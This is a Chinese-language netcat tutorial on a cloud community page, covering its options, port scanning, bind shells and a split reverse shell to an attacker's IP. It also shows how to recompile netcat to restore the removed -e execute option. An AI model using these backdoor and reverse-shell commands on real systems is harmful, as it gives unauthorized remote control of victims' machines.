linux netcat使用方法

來源:互聯網
上載者:User

netcat(簡稱nc)被譽為網路安全界的‘瑞士軍刀’,相信很多人都認識它吧。它是一個簡單但實用的工具,通過使用TCP或UDP協議的網路連接去讀寫資料。它被設計成一個穩定的後門工具, 能夠直接由其它程式和指令碼輕鬆驅動。同時,它也是一個功能強大的網路調試和探測工具,能夠建立你需要的幾乎所有類型的網路連接,還有幾個很有意思的內建功能。本文介紹了nc在Windows和Linux下的使用方法。同時還介紹幾個在linux的配置技巧。

  nc是一個命令列工具,在Windows和在Linux下的使用方法查不多(如無特別說明,本文測試的Windows機器為winxp+sp2,Linux為Redhat9.0),我們可以通過nc –h(Windows下在nc所在的目錄才能用此命令,Linux下必須將nc所在的目錄加入Linux的PATH路徑裡)。我們能看到一:

 
圖一:  在windows 中nc –h
一般來說,Linux/Unix系統預設是內建nc這個工具,但是也許是為了安全方面的考慮,後來的nc的版本中去掉了-e參數的。在Linux下我們nc –h可以看到如二,通過圖一和圖二的對比,我們可以清楚的看到,在Linux下少了兩個參數,分別是-d和-e。

 
圖二:在Linux下nc –h

從nc –h我們可以看到各個參數的使用方法,nc的基本使用格式是:
nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
下面我們來具體介紹每個參數的意義和用法:
-d 後台模式
-e prog 程式重新導向,一旦串連,就執行 [危險!!] //我們可以通過shell            綁定將Windows下的cmd和Linux的/bin/sh綁定,這樣非常危險,我們整個系統對別人來說是完全透明,從下面的例子中我們可以看到。這也是Linux預設去掉-e參數的原因。
-g 網關源路由模式的跳數,最多為8
-G 源路由模式的節點個數,一般為4,8,12, ...n-h 協助資訊
-i secs 延時的間隔
-l 監聽模式,用於入站串連
-L 串連關閉後,仍然繼續監聽
-n 指定數位IP地址,不能用hostname
-o file 記錄16進位的傳輸
-p port 本地連接埠號碼
-r 隨機本地及遠程連接埠
-s addr 本地源地址
-t 使用TELNET互動方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs 指定掃描所用的時間
-z 將輸入輸出關掉--用於掃描時

 

我們下面將具體舉例介紹nc的用法:

1:監聽本地機器的連接埠:
   nc –l –p port  //port指定監聽的本地連接埠號碼
 

圖三:監聽原生80連接埠

2:掃描遠程主機:
   其常用格式是:nc –vv –z –w 數字 欲掃描IP  連接埠範圍  / /其中數字
   指定掃描的時間間隔。
 

圖四:對遠程主機進行掃描

3:綁定主機shell作為後門
   這一般分兩個步驟:
步驟一: 我們在被攻擊的機器上用下列命令:nc –v –l –p 連接埠號碼 –e  shell   // 其中連接埠號碼是我們欲將shell綁定到哪個連接埠,shell在不同的系統是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
步驟二: 攻擊者在自己的機器上使用命令 :nc 被攻擊者IP  連接埠號碼來達到遠端控制受害者(被攻擊者)的機器。
    
    我們下面的例子是將windows下的cmd.exe綁定在80連接埠,然後在Linux機器上進行控制。
 

圖五:在windows綁定cmd.exe到80連接埠
 

圖六:我們串連到上面綁定機器的80連接埠
從圖六我們可以看到,我們在Linux下完全得到了Windows下一樣的cmd.exe,而且我們可以完全像在本地控制一樣遠程完全控制Windows,這樣如果我們運行format 命令後果可想而知。

4:主機綁定shell並反向串連

 我們可以使用兩種方法:
  方法一:
分兩個步驟:
步驟I:攻擊者在自己的機器上指定欲監聽的連接埠號碼,使用如下命令
         nc –vv –l –p 欲監聽的連接埠號碼

 

步驟II:在受害者(被攻擊者)機器上我們綁定shell到攻擊者的機器所監聽的連接埠
 

             圖七:綁定windows下的cmd到Linux機器的9999連接埠
   這時,我們在步驟一處於監聽狀態的機器就會看到八所示的情形:
 

圖八:在處於監聽狀態的Linux機器上得到的cmd.exe

 

可以看到此時我們已完全控制了受害者的機器。
方法二:
    我們甚至可以實現將輸入視窗和輸出視窗綁定到兩個不同的連接埠,
    這樣我們在一個視窗輸入命令,一個視窗輸出這個命令的結果,同樣分
    兩個步驟:
   步驟I:在攻擊者的機器上,我們分別用如下的兩個命令
          nc –vv –l –p 連接埠一
          nc –vv –l –p 連接埠二   //這裡我們將綁定連接埠一為輸入視窗,綁定連接埠二為輸出視窗。
   步驟II:在受害者的機器上,我們使用如下的命令
          nc 攻擊者機器IP  連接埠一 | shell |  nc 攻擊者機器IP 連接埠二
           //這裡的shell 和上面所說的shell相同,在Windows指cmd.exe,
            在Linux下指/bin/sh
下面的例子中,我們用命令nc 192.168.1.34 9999 |/bin/sh| nc 192.168.1.34 8888 綁定Linux下的shell(即/bin/sh)到我們的Windows機器(IP為192.168.1.34),中間的”|”是管道符合,表示前面的連接埠9999綁定到我們的輸入視窗,後面的連接埠8888綁定到我們的輸出視窗。
 

圖九:綁定連接埠9999為輸入視窗

  圖十:綁定連接埠8888為輸出視窗

  圖十一:在Linux機器上綁定shell到輸入視窗和輸出視窗
當我們在輸入視窗輸入ls命令時
 

          圖十二:在綁定連接埠為9999的輸入視窗輸入命令ls

 

在我們的輸出視窗可以看到上面ls命令的輸出結果
 

圖十三:在綁定連接埠為8888的輸出視窗我們可以看到ls命令的結果。

細心的讀者也許或發現,我上面不是說Linux下預設是不能綁定shell的嗎,為什麼在上面的圖十一中我們卻綁定/bin/sh到windows下的連接埠下?這確實是個很好的問題,誠然Linux為了安全考慮去掉了預設的-e參數,但沒有關係,我們可以自己下載一個nc,然後編譯讓它帶有-e參數。
我們下載nc110.tgz到我們的Linux機器上,但是我們發現我們用
tar –zxvf  nc110.tgz解壓後,然後用
gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c 會出現如十四的錯誤提示,說”undefined reference to `_res_init'”。

為什麼會出現這種情況呢?這是因為netcat.c中在main函數中調用了函數res_init(),這是一個glibc中的函數,現在改名為了__res_init(),我們可以用sed命令修改netcat.c或是直接在vi中將res_init()改為__res_init(),這是我們再用上面的gcc命令編譯就可以通過,而且gcc的參數-s確保strip操作,這樣我們在Linux機器上就有了帶-e參數的nc了,我們可以用nc –h看到nc的參數列表,如十五,我們可以看到,確實已經有了-e的參數選項。

圖十五:Linux下帶有-e參數的nc

現在我們可以將/bin/sh綁定在一個連接埠,然後通過Windows機器來控制這個shell。分別十六,圖十七所示,當我們在Linux機器輸入nc  -e /bin/sh -l -p 9999時,系統一直處於監聽狀態,我們在Windows上來監聽這個9999連接埠,然後我們可以輸入Linux命令來遠程完全控制此shell。
 

圖十六:我們將/bin/sh綁定在9999連接埠
 

圖十七:我們通過Windows監聽9999連接埠來獲得shell

筆者也將nc110.tgz下載到freebsd系統下,經過測試發現,在freebsd下,不需要修改netcat.c中的res_init(),直接用gcc命令編譯就可以產生帶-e參數的nc,筆者用於測試的freebsd系統為FreeBSD 4.6-RELEASE。

nc確實是網路安全以及駭客世界一個非常流行和使用的工具,nc的用法是很多的,這裡我們只介紹了幾種最常用的用法,並且介紹了在Linux下重新編譯nc使得其帶有-e參數的方法和技巧,希望對大家有所協助。

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.